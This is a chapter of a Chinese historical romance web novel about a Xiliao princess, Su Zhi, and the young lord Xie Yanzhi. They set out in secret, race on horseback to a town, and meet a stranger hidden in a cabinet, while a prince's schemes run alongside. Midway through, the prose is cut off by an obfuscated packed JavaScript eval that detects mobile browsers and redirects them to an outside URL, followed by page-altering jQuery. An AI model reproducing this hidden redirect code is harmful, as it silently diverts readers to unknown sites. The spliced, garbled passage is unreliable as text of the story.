零下七度7 作品

18. 赛马

从天牢出来后,苏栀的心有些不平静,垂眸绞着手指不知该怎么说。


罗记答应了自己,可是最后一句话,却让人心里难以安顿。


“帝姬,你的心,还在西辽吗?”


苏栀不清楚,她自认自己是西辽的帝姬,如今做的一切,自然都是为了西辽着想。


无论是坚定复仇的决心也好,放弃复仇的念头也罢,她从未思考过自己的安危,心中所念,皆是西辽千万百姓。


“这并非劝降。”谢衍知走在前面,苏栀看不到他的脸,只能听见他云淡风轻的话,“尽人事听天命,听天命顺天意。”


听天命,顺天意吗?


次日卯时,天将将泛白,一行人便已准备好行囊,由京州南下,抵达复阳,随后更换衣装,秘密前往朔州。


“旅途路途较远,骑马,你可以吗?”谢衍知看着苏栀娇弱的身子,不由得担心她逞强。


苏栀身上披着乳白色的毛绒斗篷,是谢衍知命人特意赶制出来的,风吹不透,十分御寒。


闻言,苏栀微微偏头,“看不起谁呢?”


谢衍知轻笑一声,点点头,“行,是本世子,有眼无珠。”


苏栀没理会他的油嘴滑舌,翻身上马,动作轻而飒,乳白色的斗篷将她整个人轻而易举的罩住了大半。


谢衍知看了一眼,唇角勾起一抹不易察觉的的笑,紧跟着上了马,抬手轻轻一挥,声音清冽,“出发!”


一行人人数不多,骑着马浩浩荡荡,在阳光彻底普照整座京州前,离开了这里。


辰时,晨光熹微,薄雾轻绕,雍王府内婢女们匆匆忙忙端着热水和早膳,进入各个装饰的精美的院子。


“王爷,今日辰时三刻,谢衍知带人出发,去的有十余人,和陛下请旨是前往复阳探查,带的人都是一些普通的府兵,顺路采买宣阳公主所需的药材。”


宋启站在屏风后,长臂一展,两个侍女一前一后替他整理衣衫。


“探查?探查什么?”


“是前些日子闹的沸沸扬扬的贪污案,陛下亲自任命的钦差大臣。”冯兆在屏风外,垂眸作答。


“贪污案?”宋启眯了眯眼,觉得有些奇怪,“这样的事,怎么让他去做了。”


冯兆到底不如令狐南更能洞察宋启的心思,看的透表面看不透内心,“那王爷,既然如今谢衍知不在侯府,那地图还需去探查一番吗?”


“不必了。”


宋启也不是傻子,那日在谢衍知房里从头到尾翻了一遍,既然没找到,也能想到问题。


果然,顺着这件事查下去,查到了那日聚会上师学林和谢衍知发生了点摩擦。


可师学林是师文翰的独子,自己还需要师文翰帮衬,这事只能如此,大事化小,小事化了。


“西辽皇室那群人,可有消息传来?”


“是。”冯兆道“云行令的人已经传了消息,一个不留。”


“那就好。”宋启松了口气,“派人跟着谢衍知,还有,带一队人,继续在西辽寻找煤矿的下落。”


东宫内,宋子慕刚刚下朝回来,在房内脱着朝服。


谢衍知的理由还算充足,至少目前看来,还没有人有特别大的反应,觉得此事有蹊跷。


昨夜派去盯雍王的人也传来消息,雍王派了人出去,一队人暗中跟着谢衍知他们,另一队人去的方向,似乎是…西辽。


宋子慕蹙眉,西辽,有什么东西让宋启如此重视,一次次的派人前去。


思绪万千,还不等宋子慕想出所以然,殿外便响起了程璧急切的声音。


“进来。”


宋子慕坐在椅子上,抿了口茶,问“何事如此惊慌?”


程璧抱拳行礼,没敢抬头看,小心翼翼开口,“殿下,太傅府传出消息,陆小姐昨日出府至今未归。”


“框”的一声,宋子慕手中的茶杯落在地上,碎了一地。


出了京州城的第二日,路上已经不见行人了。


“听说在你们西辽,无论是皇子还是帝姬,都要学会御马之术?”


身后跟着的都是自己信任的手下,谢衍知毫无顾虑的问出口。


“是啊。”苏栀握着缰绳,风吹在少女娇嫩的脸颊上,脸颊微微泛红,“不仅如此,我们西辽的皇家狩猎,无论是皇子还是帝姬,都必须要参与其中,我还亲手捕杀过一头猎豹呢!”


风吹的呼呼作响,影响了人的听觉,苏栀不由自主的放开声音,言语中颇有几分得意。


谢衍知闻言有些不可置信,转头看向在自己身侧驾马的白衣少女,她的发丝被吹的凌乱,脸颊微微泛红,却仍然昂首挺胸迎接风的拍打。


生来尊贵,便是如此。


“那你还真是令人不可思议啊!”


谢衍知身子往苏栀那边靠了靠,少女身上飘荡的栀子花香被风吹过来,清香扑鼻。


“欸,苏惊蛰。”谢衍知看着远处平坦的平原,升起兴趣。


“嗯?”苏栀看他。


少年意气风发,黑色的披风被风吹的在身后漂浮,恍然间,与他进城那日身影重叠。


“我们来比比吧,就看谁,能最先到达前方的城镇,如何!”


苏栀抬眼看了看,一眼望去,隐隐有城镇的影子。


“好!”苏栀答应的干脆利落。


“那我们可说好了,输了可不许哭鼻子!”


苏栀嗤笑一声,“哭鼻子?谢衍知,跟西辽人比骑马,你就这么有把握能赢?”


“那就来试试。”


话音未落,二人同时甩起马鞭,一声此起彼伏的马嘶过后,风尘滚滚,只留下一阵尘土,两个身影,一黑一白,驾马远去。


“驾!”


“驾!”


驾马声一声大过一声,仿若天地间只有他们二人,是鲜活的,热烈的,纯粹的。


苏栀感受着风浪一下接一下的拍在她脸上,身侧枯树和茅草屋不停的闪退,好久不见的感觉,终于在此刻直击她的命脉。


她来大宁这么久,唯有这一刻,能让她感受到,自己是活着的。


天高云淡,两个身影就这样逐渐消失在一众手下们的视野中。


后面的人驾马跟上,听着远处传来的驾马声,元翊来了兴致,便紧握缰绳,边问“元澈,你以为,谁能赢?”


元澈眯眼躲避


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974532|161373||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


风沙,“你以为呢?”


“自然是世子!”元翊哈哈哈大笑几声,“整个京州,若是与世子论御马之术,怕是太子殿下也得退避三分。”


元澈认可的点点头。


“你也以为是世子?”元翊问。


“不。”元澈顿了顿,“我觉得,惊蛰姑娘未必不会赢!”


元翊觉得新鲜,“为何?”


“不知。”元澈说的理直气壮,“不过,我若是输了,回京州请你吃酒啊!”


“那可就这么定了,我若是输了,照样请你吃酒!”


到达小城后,元翊垂头丧气的跟着谢衍知进了客栈,元澈拍拍他的肩,“别泄气啊兄弟!一顿酒钱而已。”


元翊拍开他的手,“一边去,我是心疼那顿酒钱吗?”


说着,元翊分出眼神看了看谢衍知身侧站着的白衣少女,左看右看,都觉得是个细胳膊细腿不堪一击的姑娘,居然赢了谢衍知。


元翊怎么都不信。


到了房间,元翊立马凑过去,“世子,你不会是故意让着她的吧?”


谢衍知勾唇一笑,想到方才的场景。


他第一次看到那样鲜活的苏栀,迎风而上,看似瘦弱,实则蕴含了无尽的能量。


倒也不是他放水,只是,看的太过入迷了而已。


“没。”谢衍知的声音轻轻的,带着自己都难以察觉的温柔“她,的确很强。”


“怎么样?”元澈走上前,“输的心服口服了吧?”


元翊还是不服气,“改天我也要和她比一比,试试她当真有那么厉害吗。”


谢衍知闻言,抬眸半是嘲讽的看了他一眼,毫不客气的打击,“还是别了。”


“为何?”


“我怕你,丢我的脸。”


苏栀进了房间,立马倒了杯茶喝。


方才喊的有些大声,嗓子还在隐隐作痛,朝小二要了点枇杷叶,还没拿上来。


累是真的累,苏栀已经很久没有这么累过了,尤其是,谢衍知是个很强劲的对手,不可松懈一分。


不过,身心也在此刻得到了极大的满足。


但思来想去,想到谢衍知突然发生意外,苏栀掩唇一笑。


是故意的吗?


房门被敲响,小二的声音响起,“姑娘,您要的枇杷叶给您送过来了。”


苏栀开门,道了声谢,接过盘子。


枇杷清香的味道刺入鼻腔,瞬间万物复苏。


苏栀倒了些水,坐在圆凳上,清洗着叶子。


忽然,房间深处传来一声橱柜被碰撞发出的声音,苏栀动作一顿,手上还沾着水珠,因为苏栀的动作,滴了一滴在水中。


苏栀目光看过去,房间的装饰很简单,一眼看去,只有一个红木制成的柜子,高度适中,柜门关的很紧。


苏栀起身,迈着步子,一步一步靠近柜子。


房内很安静,只有窗外的车水马龙声传进来,与房间仿佛是两个世界。


苏栀一颗心砰砰直跳,抬手正准备拉开柜子。


柜门忽然被人从里面推开,苏栀下意识后退几步,待到那人倒在地上,她才看清楚。